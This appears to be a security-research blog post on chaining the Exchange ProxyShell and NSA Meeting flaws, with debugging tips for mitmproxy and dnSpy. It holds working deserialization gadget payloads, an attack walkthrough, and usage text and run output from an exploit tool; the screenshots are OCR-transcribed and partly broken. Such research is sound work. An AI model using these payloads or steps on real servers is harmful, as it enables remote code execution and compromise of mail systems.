# NSA Meeting Proposal for ProxyShell!

As part of Microsoft Exchange April and May 2021 patch, several important vulnerabilities were fixed which could lead to code execution or e-mail hijacking. Any outdated and exposed Exchange server should be considered compromised already as these vulnerabilities are being <u>actively exploited</u> for <u>a</u> <u>while</u> now.

Due to the number of reported and patched Exchange vulnerabilities only in 2021, it is much easier to use vulnerability names rather than their CVE numbers which may have incorrect dates attached to them. The well-known patched Exchange vulnerabilities which could ultimately lead to code execution are <u>ProxyShell</u> and <u>NSA Meeting</u> exploits.

The ProxyShell exploit is complicated and rely on abusing an Exchange PowerShell cmdlet (Get-MailboxExportRequest) to create a web-shell on a web accessible location. The exploit code samples are <u>already out</u>, and it is not difficult to encode new payloads using a <u>PST Encoder</u>. The issue can be exploited by unauthenticated attackers, and an <u>existing email address is not required</u> (a domain name should be enough).

The NSA Meeting exploit on the other hand utilities an unsafe deserialization flaw which could lead to code execution on the server. As this exploit does not need a web-shell to be created on the web directories, it might be a better choice for red teamers to avoid easy detections. However, the quickly shared <u>public exploit</u> did not work on its own and required some changes to be fully running. Unfortunately, we could not find a way to exploit this issue without being authenticated either. As a result, without having credentials, this could only be useful when compromising a domain user with Outlook access (by using the '/owa/integrated/' endpoint). Similar to an already <u>published blog post</u> by <u>Jang</u>, we could not find a different way to trigger the payload, but it might be possible given the size and complexity of the Exchange solution (there are several affected class files in Exchange but getting to them is not simple).

Given the ProxyShell and NSA Meeting vulnerabilities were patched almost at the same time, we want to show how these exploits can be combined to provide a different approach for red teamers and also for interested security researchers. In this blog post, we have also included some side research topics which might be interesting when dealing with similar exploits or vulnerabilities. All code within this blog post should be included within the following GitHub repository:

## https://github.com/mdsecresearch/NSAMeetingWithProxyShell

## Fixing an Elevating the NSA Meeting Deserialization

It was not difficult to come up with a new working deserialization gadget from <u>YSoSerial.Net</u> for the current <u>public exploit</u> as it can be seen here:

<ArrayOfKeyValueOfstringProposeOptionsMeetingPollParametersE\_S0982HC z:Id="1" z:Size="1" xmIns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmIns:i="http://www.w3.org/2001/XMLSchema-instance" xmIns:z="http://schemas.microsoft.com/2003/10/Serialization/"> <KeyValueOfstringProposeOptionsMeetingPollParametersE\_S0982HC> <Key z:Id="2">meeting</Key> <Value z:Id="3"> <ChangedProperties xmIns="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel"

xmlns:b="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel.Prop ertyBags"> <bpropertyValues z:Size="1"</pre> xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/Arrays"> <c:KeyValueOfstringanyType> <c:Key>test</c:Key> <c:Value i:type="a:Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties" xmlns:a="Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" xmlns:x="mscorlib"> <ForegroundBrush i:type="x:System.String" xmlns=""><![CDATA[<ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:a="clrnamespace:System.Diagnostics;assembly=System"><ObjectDataProvider.ObjectInstance><a:Proce ss><a:Process.StartInfo><a:ProcessStartInfo Arguments="/c mspaint" FileName="cmd"/></a:Process.StartInfo></a:Process></ObjectDataProvider.ObjectInstance></Ob jectDataProvider>]]></ForegroundBrush> </c:Value> </c:KeyValueOfstringanyType> </b:propertyValues> </ChangedProperties> <OriginalTypeAssembly z:Id="12" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel">Micr osoft.Exchange.Entities.DataModel</OriginalTypeAssembly> <OriginalTypeName z:Id="14" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel">Micr osoft.Exchange.Entities.DataModel.Calendaring.CustomActions.ProposeOptionsMeetingPollPara meters</OriginalTypeName> </Value> </KeyValueOfstringProposeOptionsMeetingPollParametersE S0982HC> </ArrayOfKeyValueOfstringProposeOptionsMeetingPollParametersE S0982HC> However, running code instead of command required some further muscle stretch! We came up with the following known bridge to achieve this: <ArrayOfKeyValueOfstringProposeOptionsMeetingPollParametersE S0982HC z:Id="1" z:Size="1"</p> xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"> <KeyValueOfstringProposeOptionsMeetingPollParametersE\_S0982HC> <Key z:Id="2">meeting</Key> <Value z:Id="3"> <ChangedProperties xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel" xmlns:b="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel.Prop ertyBags"> <bpropertyValues z:Size="1"</pre> xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/Arrays"> <c:KeyValueOfstringanyType> <c:Key>test</c:Key> <c:Value

i:type="a:Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties"

xmlns:a="Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" xmlns:x="mscorlib">

<ForegroundBrush

i:type="x:System.String" xmIns="><![CDATA[<ObjectDataProvider MethodName="Deserialize" xmIns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmIns:a="clrnamespace:System.Web.UI;assembly=System.Web" ObjectInstance="{a:LosFormatter}" xmIns:s="clr-

namespace:System;assembly=mscorlib"><ObjectDataProvider.MethodParameters><s:String>%Los FormatterPayload%</s:String></ObjectDataProvider.MethodParameters></ObjectDataProvider>

]]></ForegroundBrush>

## </c:Value>

#### </c:KeyValueOfstringanyType>

## </b:propertyValues>

</ChangedProperties>

<OriginalTypeAssembly z:Id="12" i:nil="true"

xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel">Microsoft.Exchange.Entities.DataModel</OriginalTypeAssembly>

<OriginalTypeName z:Id="14"

xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Exchange.Entities.DataModel">Micr osoft.Exchange.Entities.DataModel.Calendaring.CustomActions.ProposeOptionsMeetingPollPara meters</OriginalTypeName>

</Value>

</KeyValueOfstringProposeOptionsMeetingPollParametersE\_S0982HC>

</ArrayOfKeyValueOfstringProposeOptionsMeetingPollParametersE\_S0982HC>

The "%LosFormatterPayload%" value can now be replaced with any LosFormatter payload from the <u>YSoSerial.Net</u> project. We can now use this to enable the ActivitySurrogateSelector gadget by running the ActivitySurrogateDisableTypeCheck gadget's payload. It is then possible to run C# code on the server using the ActivitySurrogateSelector or ActivitySurrogateSelectorFromFile gadgets.

The full XML message samples can be seen in the GitHub project.

Now that we have sort this one out, it is time for NSA to schedule a meeting for ProxyShell!

## **Combining the Exploits**

This part is easy when both exploits are ready. We just need to use a different PowerShell command to achieve this.

As mentioned by <u>@peterjson</u> in his <u>blog post</u>, a default user account such as 'SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@TargetExchange.domain" can be used to send requests to the '/autodiscover/autodiscover.xml' endpoint to obtain a valid LegacyDN which is then used to send a request to the '/mapi/emsmdb' endpoint to obtain a valid SID (the same as <u>ProxyLogon</u>). The SID value is used to create a Common-Access-Token (CAT) in Exchange which is used for internal authentication. This is the token we send to the '/powershell/' back-end endpoint via the 'X-Rps-CAT' parameter in the URL to authenticate.

Although we can use impersonation when sending requests to the '/ews/Exchange.asmx' endpoint to store the NSA Meeting payload (as we already have the SID), we would still need to have an account to access the 'MeetingPollHandler.ashx' page on OWA. As a result, we used the "<u>New-Mailbox</u>" cmdlet to create a new mailbox and to log into OWA.

It was then possible to trigger the stored meeting payload to exploit the deserialisation issue and to run code or commands on the server without creating a web-shell.

Here is the screenshot of its final implementation in .NET (unfortunately we cannot publish the fully working exploit in order to stop any potential abuse):

C:\temp\NSA_Meeting_With_P	roxyShell>NSAMeetingWithProxyShell.exe -h
Usage example1: NSAMeeting	withProxyshell.exetarget https://exchange.win12.local/emaildomain win12.loca
<pre>lcmd CPPTestPayload.dll</pre>	ptype 2
Usage example2 with a web	<pre>proxy: NSAMeetingWithProxyshell.exetarget https://exchange.win12.local/email</pre>
user1@win12.localcmd "	ping localhost"ptype 1proxy http://localhost:8080
This is to exploit vulnera	bilities which were patched in April and May 2021
· ·	
Options:	
-ttarget=VALUE	Target URL - e.g. https://mail.example.org or http:
c, ca.gec	//10.0.0.100/customRoot
-eemail-VALUE	A valid evicting email address for a domain admin (
cy charierAcor	ontional), e.g. administrator@example.org
ompildompin od-V	operionary - e.g. administration wexample.org
emailuomain,eu=	VALUE
	A value domain for an email address when a value
	email address is not known - e.g. example.org
	when we can have test@example.org (email
	parameter will be ignored when this is used)
-d,domain=VALUE	User's domain name to log in it ditterent than
	emaildomain
ptype=VALUE	Payload type for the provided file (1=Run Command[
	default], 2=Enable surrogate and use DLL, 3=Use
	DLL [around 80kb max])
cmd=VALUE	Payload file or command to be executed based on `
	ptype` (e.g. 'payload.dll' (loaded using
	LoadLibrarvA on the server) or 'ping 1.1.1.1') -
	this is not needed whenptype=2
useragent=VALUE	The User-Agent string in the requests (default=
aber agente miebe	Mozilla / 6 (Windows NT 10 0) Win64 : x64: xv:86
	A) Gorbo / 20100101
nid-VALUE	Custom PID in the SID (default-E00)
	Custom RID In the SID (default=500)
cempnewaccounc=	Temperatury was account which will be account and
	Temporary user account which will be created and
	removed by the application (default=
C:\temp\NSA Meeting With ProxyShell>NSAMeet	ringWithProxyShell.exetarget https://192.168.6.282/ -ed win12.localrmd "CPPTestPayload.dll"ntyne 2
[i] Chosen autodiscover.json path: /autodis	over/autodiscover.json?@microsoft.com%PATH%?&Email=autodiscover/autodiscover.json%3f@microsoft.com
[1] Check to see whether the target is an E [+] The target is an Exchange server!	xchange server!
[i] Sending an internal POST request to fir	d the LegacyDN string: https://192.168.6.202/autodiscover/autodiscover.json?@microsoft.com/autodiscover/autodiscover.xml?&Email=autod
soft.com [+] Identified LegacvDN=/o=Exchange Lab/ou=	Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn SystemMailb
[i] Sending an internal POST request to fir	d the SID string: https://192.168.6.202/autodiscover/autodiscover.json?@microsoft.com/mapi/emsmdb?MailboxId=1ea032c3-0bae-4ac5-932a-6
=autodiscover/autodiscover.json%3+@microson [+] Identified SID=S-1-5-21-38	1131
[i] SID with RID replacement=S-1-5-21-38	-500
[+] Calculated CommonAccessioken=vgEAVAdXav TUwMEcBAAAABwAAAAxTLTEtNS0zMi01NDRFAAAAAA==	exp3q5/MBPCEficultcultcultexinotwinAm
[i] Starting a local proxy on port 23359	
<ul><li>[i] PowerShell command execution - NewMailE</li></ul>	new user jox - attempt number 1
<ul> <li>PowerShell output: Microsoft Exchange 1</li> <li>Sonding the meeting peulood to (out (Free))</li> </ul>	Amporary Healthcheck
<ul> <li>[i] Payload has been generated to enable su</li> </ul>	inninge count
[+] Meeting's ItemId: AAMkADIyMzkwZjdhLTdlM [+] Monting's ChangeKov: DwAAARYAAAGeNCZiOS	NOYENDKwMCB5DDAyLWFmzjgzNGQVMGZmMABGAAAAAACejjAZx8Kb55Io9KMzA0d/BwCgNC3jOSwGTJjEYS/S+IPhAAAAAAENAACgNC3jOSwGTJjEYS/S+IPhAAAAAAENAACgNC3jOSwGTJjEYS/S+IPhAAAAAA
[+] Meeting's ItemId: AAMkADIyMzkwZjdhLTdlM	DYtNDKMMC@50DAylWFmZjgzNGQyMGZmMABGAAAAAACejjAZx8Kb55Io9KMzA@d/BwCgNC3jOSwGTJjEYS/S+IPhAAAAAAAENAACgNC3jOSwGTJjEYS/S+IPhAAAAA3IAAA-
[1] Martinela Chamarkan, DushADVAAACHUCD200	

Checking integrated owa for X-OWA-CANARY: WrM6vvgFL0iWK6hfgHFV64AsbA8Ud9kTz3zzYAO6FkgX50riuNv4caZiMt4maKpiDY3v14B930

Setting language and timezone..

] Triggering the payload(s)...

Exploit was successful

] Cleaning up by deleting the meeting(s) ] PowerShell command execution - RemoveMailBox - attempt number 1

PowerShell output:

] The new mailbox has been removed ] Waiting for any time delays in the payl

i] All done

#### **Exchange Remote PowerShell Restriction**

Here is a frequently asked question when managing an application remotely using PowerShell:

"Why can't we just run anything we want on the server if we can run some cmdlets?"

The simple answer to this question is that in case of the Exchange server, most Remote PowerShell environments should set their <u>LanguageMode</u> to 'NoLanguage' or 'RestrictedLanguage'. Microsoft has patched a few missing ones in the April patch so there might be something for interested people:



The following screenshot shows an example of an error message we can receive when we are dealing with this setting:

[win-tbiq3kb7ann.win12.lo	cal]: P5>(gci -r -Force).fullname
writeErrorStream Exception	: True : System.Hanagement.Autamation.RemoteException: At line:1 char:1 : (gcl -r -Force).fullnam
	Property references are not allowed in restricted language mode or a Data section.
	<pre>at System.Hanagement.Automation.Runspaces.AsyncHesult.EndInvoke() at System.Hanagement.Automation.Runspaces.AsyncHesult.EndInvoke() at System.Hanagement.Automation.RowerShell.CoreInvoke(Runovke[Input,TOutput](PSDataCollection'1 input, PSDataCollection'1 output, PSInvocationSettings settings) at System.Hanagement.Automation.RowerShell.IncoreInvoke[Input,TOutput](PSDataCollection'1 input, PSDataCollection'1 output, PSInvocationSettings settings) at System.Hanagement.Automation.RowerShell.IncoreInvoke[Input,Toutput](PSDataCollectings) at System.Hanagement.Automation.RowerShell.IncoreInvoke[Input,PSInvocationSettings] at System.Hanagement.Automation.RowerShell.IncoreInvoke[Input,PSInvocationS</pre>
TargetObject FullvOualifiedErrorId	PropertyReferenceNotSupportedEnDataSection
InvocationInfo ErrorCategory_Category ErrorCategory Activity	
ErrorCategory_Reason ErrorCategory_TargetName ErrorCategory_TargetType	: ParseException : :
ErrorCategory_Message SerializeExtendedInfo	: ParserError: (:) [], ParseException : False

[win-tbiq3kb7ann.win12.1	<pre>ocal]: PS&gt;\$UserCredential = Get-Credential</pre>
writeErrorStream Exception	: True : System.Management.Automation.RemoteException: At line:1 char:1 + \$UserCredential = Get-Credential
	Assignment statements are not allowed in restricted language mode or a Data section.
	At line:1 char:1 + \$UserCredential = Get-Credential
	A variable that cannot be referenced in restricted language mode or a Data section is being referenced. Variables include the following: \$PSCulture, \$PSUICulture, \$true, \$false, and \$null.
DataCollection`1 output, on`1 output, PSInvocatic	at System.Management.Automation.Runspaces.AsyncResult.EndInvoke() at System.Management.Automation.PowerShell.CoreInvokeRemoteHelper[TInput,TOutput](PSDataCollection`1 input, PS PSInvocationSettings settings) at System.Nanagement.Automation.PowerShell.CoreInvoke[TInput,TOutput](PSDataCollection`1 input, PSDataCollecti settings) at System.Management.Automation.PowerShell.Invoke(IEnumerable input, PSInvocationSettings settings) at System.Management.Automation.RemotePipeline.Invoke(IEnumerable input) at System.Management.Automation.RemotePipeline.Invoke(IEnumerable input) at System.Hanagement.Automation.RemotePipeline.Invoke(IEnumerable input)
tionOptions options) TargetObject FullyQualifiedErrorId InvocationInfo ErrorCategory_Category ErrorCategory_Category ErrorCategory_TargetName ErrorCategory_TargetName ErrorCategory_Message ErrorCategory_Message	AssignmentStatementNotSupportedInDataSection ParseException ParseError: (:) [], ParseException False

In Exchange, the exposed cmdlets are also limited as listed in different files such as:

Microsoft.Exchange.Configuration.ObjectModel\Configuration\Authorization\PowerShellWebServ iceExposedCmdlets.cs

Therefore, we receive the following error message when trying to run a command on the server:

Ewin thio2kh7ann win10 1	
[win-tbid>kb/ann.winiz.]	lucal): PSymsynalic
writeErrorStream	: True
Exception	: System.Management.Automation.RemoteException: The term 'mspaint.exe' is not recognized as the name of a cmdlet, fun
ction, script file, or o	
	at is correct and try again. at System, Management, Automation, Runspares, AsyncResult, EndInvoke()
	at System.Management.Automation.PowerShell.CoreInvokeRemoteHelper[TInput,TOutput](PSDataCollection`1 input, PSDa
taCollection`1 output, F	
'1 output, PSInvocation	Settings settings)
	at System.Management.Automation.PowerShell.Invoke(Informable input, PSINVocationSettings Settings)
	at System Hangement Automation Remover spectre and the new Principaline - Exception& exceptionThrown, Execution
onOptions options)	
TargetObject	
FullyQualifiedErrorId	
InvocationInfo	
ErrorCategory_Category	
ErrorLategory_Activity	
ErrorCategory TargetName	
ErrorCategory TargetType	e : String
ErrorCategory_Message	
SerializeExtendedInfo	: False
[win-tbiq3kb7ann.win12.	local]: PS>(mspaint)
writeErrorStream :	
Exception :	
let, function, script f	ile, or operable program. Check the spelling of the name, or if a path was included, verify that
	the path is correct and try again.
mandInfo, CommandOrigin	
	at System.Management.Automation.CommandDiscovery.LookupCommandProcessor(CommandInfo commandInfo, CommandOrigin co
mmandOrigin, Nullable`1	
Origin, Nullable`1 useL	
	at System Management.Automation.ExecutionContext.LreateCommand(String command, Boolean dotSource)
Elements CommandBaseAs	at System management. Automation. Piperneops. Audcommanu(PipernerOcessor Pipe, CommandParameterInternal) command commandBaseAtt CommandBedirection11 codirections ExecutionContext context)
communications	at System. Management. Automation. PipelineOps. InvokePipeline(Ohiert input, Boolean ignoreInput, CommandParameterInt
ernal[][] pipeElements,	CommandBaseAst[] pipeElementAsts, CommandRedirection[][] commandRedirections, FunctionContext
	at System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame frame)
Township	at System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction.Run(InterpretedFrame_frame)
CategoryInfo	nepart.txxe ObjectNotEcurd: (msozint eve:String) [] CommandNotEcurdEvention
FullyOualifiedErrorId :	Commander Contract (aspected contract of a c
ErrorDetails :	
InvocationInfo :	System.Management.Automation.InvocationInfo
ScriptStackTrace :	at <scriptblock>, <no file="">: line 1</no></scriptblock>
PipelineIterationInfo :	
PSMessageDetails :	

It should be noted that it is actually looking for the file on the server but cannot execute it:

<b>a</b>	Process Mon	itor - Sysinternals: www.sysinternals.com
File Edit Event Filter Tools Options Help		
🔁 🖬 🍳 🕮 🖾 🗢 🔺 🚳 📕 🏙	( 🔜 🚑 🚑 🌆	
Time Process Name	PID Operation Path	Result Detail
11:34: • w3wp.exe	11020 RueryDirectory C:\Windows\System32\mspaint.ps1	NO SUCH FILE Filter: mspaint.ps1
11:34: III w 3wp.exe	11020 🛃 QueryDirectory C:\Windows\System32\mspaint.psm1	NO SUCH FILE Filter: mspaint.psm1
11:34: III w 3wp.exe	11020 🛃 QueryDirectory C:\Windows\System 32\mspaint.psd1	NO SUCH FILE Filter: mspaint.psd1
11:34: III w 3wp.exe	11020 🛃 QueryDirectory C:\Windows\System32\mspaint.COM	NO SUCH FILE Filter: mspaint.COM
11:34: III w3wp.exe	11020 🛃 QueryDirectory C:\Windows\System32\mspaint.EXE	SUCCESS Filter: mspaint.EXE, 1: mspaint.exe, File
11:34: III w3wp.exe	11020 CreateFile C:\Windows\System32\mspaint.exe	SUCCESS Desired Access: Read Attributes, Dispo
11:34: III w3wp.exe	11020 🛃 QueryNetwork C:\Windows\System32\mspaint.exe	SUCCESS Creation Time: 16/09/2019 17:57:57, L
11:34: 💽 w3wp.exe	11020 KoseFile C:\Windows\System32\mspaint.exe	SUCCESS

#### How to Simply View Exchange Proxied Requests?

While the <u>socat tool</u> seems to be very neat to <u>monitor the communication</u> between an Exchange server front-end and its back-end, we chose the <u>mitmproxy</u> tool as it required spending less setup time and has a pretty web interface to monitor requests and their responses.

Here are the steps we follow to configure mitmproxy to study Exchange IIS communications between its front-end and its back-end:

- 1- Install the Windows version of mitmproxy on the Exchange server
- 2- Edit the binding of the Exchange Back End Home site on IIS:



3- Changing the port number from 444 to 4444:

	nange ba					Site	Bindings			?	x
Iter:		🕶 🐺 Go	Туре	Host Name	Port	IP Address	Bindin	ig Informa		Add	
		404	http net.pi		81	*	*			Edit	
.NET uthorizat	.NET Compilation	.NET Err Pages	https		444	* Edit Site	Binding		? X	emove	
onnection Strings	Machine Key	Pages ar Control		Type: https Host name:	IP addi V All Un	ress: assigned		Port:	]	vse	
s Juthentic	Authorizat Rules	کی Compress		Require Server	r Name Indic	ation					
HTTP Respon	IP Address and Doma	ی ISAPI Filt		SSL certificate: Custom Exchang	e		<b>~</b>	Select	View	se	Limit
								ОК	Cancel	0	Help

4- Run the following command to use mitmproxy as a reverse proxy:

mitmweb.exe --mode reverse:https://localhost:4444 --listen-port 444 --no-http2 --ssl-insecure -set keep\_host\_header

5- Monitor requests/responses on the server in a modern browser such as Google Chrome (does not work well in IE):

6	mitmproxy		×	+									• - • ×
÷	$\rightarrow$ G	() 127.	0.0.1:8081/	#/flows/3b09	:693-b99a	-46d2-a0	)3c-27a616c	Bed7f/requ	iest				* • :
mit	mproxy	Start	Options	Flow									
С	ද ස	9	ŵ	*		×							
Repl	ay Duplic	ate Revei	t Delete	Download	Resume	Abort							
	Flow I	Modification		Export	Interce	otion							
	Path				Method	Status	Size	Time 🔺	Request Re	esponse	Details		
	https://win	-tbiq3kb7a	nn.win12.l	ocal:4444/m	POST	200	98b	16ms	POST https: box408cf511	//localho	ost:4444/Microsoft- 379047ce622b1d7@wi	-Server-ActiveSync/Proxy?Cmd=Settings&U	ser=Healthrai
	https://loca	alhost:4444	l/api/v1.0/u	users/Health	GET	401	0	4s	SProbeDevic	eType HT1			
	https://win	-tbiq3kb7a	nn.win12.l	ocal:4444/m	POST	200	829b	95ms	Content-Typ	e	applicat	ion/vnd.ms-sync.wbxml	
	https://win	thia2kb7a	on wind? k	ocol:4444/m	DOST	200	50Cb	25mg	User-Agent		TestActi	veSyncConnectivity	
	nups.//win	-шцэкила	IIII.WIII12.0	UCal.44444/111	. F031	200	5260	Joins	MS-ASProtoc	olVersion	14.1		
	https://win	-tbiq3kb7a	nn.win12.l	ocal:4444/m	POST	200	98b	15ms	X-ExCompId		ActiveSy	ncAMProbe	
14734	https://lea		() (i	One year A sti	DOOT	404	0.01+	0.4	msExchProxy	Uri	https://	localhost:444/Microsoft-Server-ActiveS	/nc/Proxy
	nups://ioca	ainost:4444	INNICTOSOT	-Server-Acti	PUST	401	6.2KD	arms	X-IsFromCaf	e	1		

#### Debugging Using dnSpy

It is always useful to debug an application like Exchange on the server to see how some inputs are being handled. Here are some simple tips to use <u>dnSpy</u> to debug the Exchange server.

Let's imagine we want to debug the '<u>ResolveAnchorMailbox()</u>' method from the

'Microsoft.Exchange.FrontEndHttpProxy\HttpProxy\EwsAutodiscoverProxyRequestHandler.cs' class. We are going to send a request to the following URL and put a breakpoint within the interesting function:

/autodiscover/autodiscover.json?test@test.com/ews/Exchange.asmx?&Email=autodiscover/autodiscover/autodiscover.json%3ftest@test.com

Before we dive into the debugging, it is <u>recommended</u> to create an INI file for the DLLs to make their debugging easier so you can see all the variables and go through them. In our example, we need to create the following file:

C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.ini Its content is:

[.NET Framework Debugging Control] GenerateTrackingInfo=1 AllowOptimize=0

You may need to restart the IIS process or the relevant Application Pool.

IIS uses multiple Application Pools for different paths (applications) in the Exchange server:

Internet Information Services (IIS) Manager												
WIN-TBIQ3KB7ANN      Application Pools												
File View Help												
Connections												
😪 - 🔚 🖄 🕼												
Application Pools	^	This page lets you view and manage the list of an	oplication	n pools on the serv	er. Application po	ols are associated with	worker processes, contain					
Sites		one or more applications, and provide isolation among different applications.										
Monormal Contraction Contracti		Filter:		Group by: No Gro	uning	•						
A generation			Charles 1		Manage of Direct	I de malte e	Annlingtions					
Autodiscover			Status	INET CLK V	Ivianaged Pipei	Identity	Applications					
t ™ ⊳		INT V4.5	Started	V4.0	Classia	ApplicationPoolid	0					
▶ 🖗 EWS		D fould and D al	Started	V4.0	Classic	ApplicationPoolid	1					
⊳			Started	V4.0	Integrated	ApplicationPoolid	2					
Microsoft-Server-ActiveSy	/		Started	V4.0	Integrated	LocalSystem	2					
		MSExchangeECPAppPool	Started	v4.0	Integrated	LocalSystem	2					
⊳		MSExchangeMapiAddressBookAppPool	Started	v4.0	Integrated	LocalSystem	1					
PowerShell		MSExchangeMapiFrontEndAppPool	Started	v4.0	Integrated	LocalSystem	1					
⊳ Proc		MSExchangeMapiMailboxAppPool	Started	v4.0	Integrated	LocalSystem	1					
🔞 Exchange Back End		MSExchangeOABAppPool	Started	v4.0	Integrated	LocalSystem	2					
D P API		MSExchangeOWAAppPool	Started	v4.0	Integrated	LocalSystem	5					
Autodiscover	≡	MSExchangeOWACalendarAppPool	Started	v4.0	Integrated	LocalSystem	2					
▷ · i DocumentPreview		MSExchangePowerShellAppPool	Started	v4.0	Integrated	LocalSystem	1					
⊳ 👘 ecp		MSExchangePowerShellFrontEndAppPool	Started	v4.0	Integrated	LocalSystem	1					
⊳ 💮 EWS		MSExchangePushNotificationsAppPool	Started	v4.0	Integrated	LocalSystem	1					
▷ 2 Exchange		MSExchangeRestAppPool	Started	v4.0	Integrated	LocalSystem	1					
Exchweb		MSExchangeRestFrontEndAppPool	Started	v4.0	Integrated	LocalSystem	1					
⊳ 归 mapi		MSExchangeRpcProxyAppPool	Started	v4.0	Integrated	LocalSystem	2					
Microsoft-Server-ActiveSy		MSExchangeRpcProxyFrontEndAppPool	Started	v4.0	Integrated	LocalSystem	1					
D- OAB		MSExchangeServicesAppPool	Started	v4.0	Integrated	LocalSystem	3					
owa		MSExchangeSyncAppPool	Started	v4.0	Integrated	LocalSystem	2					
photos												

We need to know which Application Pool is in charge of running our interesting function so we can debug it. While running everything under one Application Pool for debugging purposes might have its own benefits to see everything at once, we may receive too much noise depends on the function we need to debug (obviously our server will not be a true copy either). Fortunately for us, we know what path we are going to hit, and it is easy to see the relevant Application Pool by viewing its Basic Settings in IIS:

<b>8</b> ]		Internet Information Services (IIS) Manager	
€ ) WIN-TBIQ3KB74	ANN 🕨 Sites 🕨 Default Web S	ite 🕨 Autodiscover 🕨	
File View Help			
Connections	Autodiscove	Edit Application ? x	Actions
Application Pools     ∧       Sites     O Efault Web Site       ▷     ⊕ Aplications       ▷     ⊕ Astronomic Sites       ▷     ⊕ Astronomic Sites       ▷     ⊕ Astronomic Sites       ▷     ⊕ Astronomic Sites       ▷     ⊕ Berger Sites       ▷     ⊕ Berger Sites       ▷     ⊕ Microsoft-Server-ActiveSy	ASP.NET NET Authorizat Compilation Competition Machine Key	Site name:     Default Web Site       Path:     /       Alias:     Application pool:       Autodiscover     MSExchangeAutodiscoverAppPool       Example: sales     Physical path:       C:\Program File\Microsoft\Exchange Server\V15\FrontE	Edit Permissions Edit Permissions Edit Permissions View Virtual Directories Manage Application Browse Application Browse 1280 (http) Browse 1270.0.1:80 (http) Browse 1420 (http) Browse 1420 (http) Browse 1420 (http)
Over Shell     Over Shell	Authentic Authorizat ( Rules HTTP IP Address	Pass-through authentication Connect as Test Settings Enable Preload OK Cancel	Advanced Settings

Now all we need to do is to open dnSpy (64-bit) and attach it to the right process via the 'Debug > Attach to Process' menu as shown below:

dnSpy v6.0													
File Edit	View	Debug	Window	Help	00	😩 🚽	C#		୨ ୯   🕨 St	art 🔎			
Assembly Exp	lorer 🔅						• ×	ADLatencyTrac	ker <emp< td=""><td>ty&gt; ×</td><td></td></emp<>	ty> ×			
		Search								0			
		Process			-		Title	Туре	Architecture	Filename	Command Line		
								CLR v4.0.30319	х64	C:\Windows\system32\inetsrv\wmsvc.exe	C:\Windows\system32\inetsrv\wmsvc.exe		
						15304		CLR v4.0.30319	x64	c:\windows\system32\inetsrv\w3wp.exe	c:\windows\system32\inetsrv\w3wp.exe -ap "DefaultAppPool" -v "v4.0" -c "C:\Program File:		
						14840		CLR v4.0.30319	х64	c:\windows\system32\inetsrv\w3wp.exe	c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangeMapiAddressBookAppPool" -v "v4		
								CLR v4.0.30319	x64	c:\windows\system32\inetsrv\w3wp.exe	c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangeRestAppPool" -v "v4.0" -c "C:\Pro		
								CLR v4.0.30319	x64	c:\windows\system32\inetsrv\w3wp.exe	c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangeOABAppPool" -v "v4.0" -c "C:\Pro		
						11884		CLR v4.0.30319	x64	c:\windows\system32\inetsrv\w3wp.exe	c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangeRpcProxyAppPool" -v "v4.0" -c "C		
								CLR v4.0.30319	x64	c:\windows\system32\inetsrv\w3wp.exe	c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangeOWACalendarAppPool" -v "v4.0"		
						11304		CLR v4.0.30319	x64	c:\windows\system32\inetsrv\w3wp.exe	c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangeSyncAppPool" -v "v4.0" -c "C:\Prc		
								CLR v4.0.30319	x64	c:\windows\system32\inetsrv\w3wp.exe	c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangeMapiMailboxAppPool" -v "v4.0" -		
								CLR v4.0.30319	x64	c:\windows\system32\inetsrv\w3wp.exe	c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangePowerShellAppPool" -v "v4.0" -c "		
								CLR v4.0.30319	x64	c:\windows\system32\inetsrv\w3wp.exe	c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangeMapiFrontEndAppPool" -v "v4.0"		
								CLR v4.0.30319	x64	c:\windows\system32\inetsrv\w3wp.exe	c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangeECPAppPool" -v "v4.0" -c "C:\Pro		
								CLR v4.0.30319	x64	c:\windows\system32\inetsrv\w3wp.exe	c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangeOWAAppPool" -v "v4.0" -c "C:\Pr		
								CLR v4.0.30319		c:\windows\system32\inetsrv\w3wp.exe	c:\windows\system32\inetsrv\w3wp.ex <mark>;</mark> -ap "MSExchangeAutodiscoverAppPool" v "v4.0" -		
